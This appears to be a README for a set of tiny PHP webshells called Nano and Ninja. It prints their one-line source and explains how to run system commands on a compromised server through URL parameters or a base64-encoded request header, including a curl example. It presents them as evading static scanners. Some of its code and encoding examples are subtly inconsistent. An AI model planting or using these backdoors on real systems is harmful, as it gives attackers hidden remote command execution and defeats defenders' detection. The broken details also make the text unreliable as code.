Awesome
nano
Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.
Put it on watch maybe, I will continue to upload more webshells in here.
Nano
<?=$_GET[p]==_&&$_GET[f]($GET_[c]);
Features
- 35 bytes in size
- Can't be detected by static code scanners
- Supports authentication
Usage
http://example.com/nano.php?f=function&c=command&p=password
f
is for function
c
is for command
p
is for password
For example, the code below will execute the ls
command:
http://example.com/nano.php?f=system&c=ls&p=password
Ninja
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
Features
- 93 bytes in size
- Fully Undetectable
Usage
This one a bit complex.
Lets say you want to run system(ls)
so write it as system~ls
and then base64 encode it i.e. c3lzdGVtKGxzKQ==
Now add any 1 character at the start of it. Let say 'x' so it will be xc3lzdGVtKGxzKQ==
Now open your terminal and type the following command
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
Too much work? You can use the handler instead.
Everything Else
This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.
The nano project is licensed under MIT license which basically means you have to give me credit if you want to redistribute or modify it.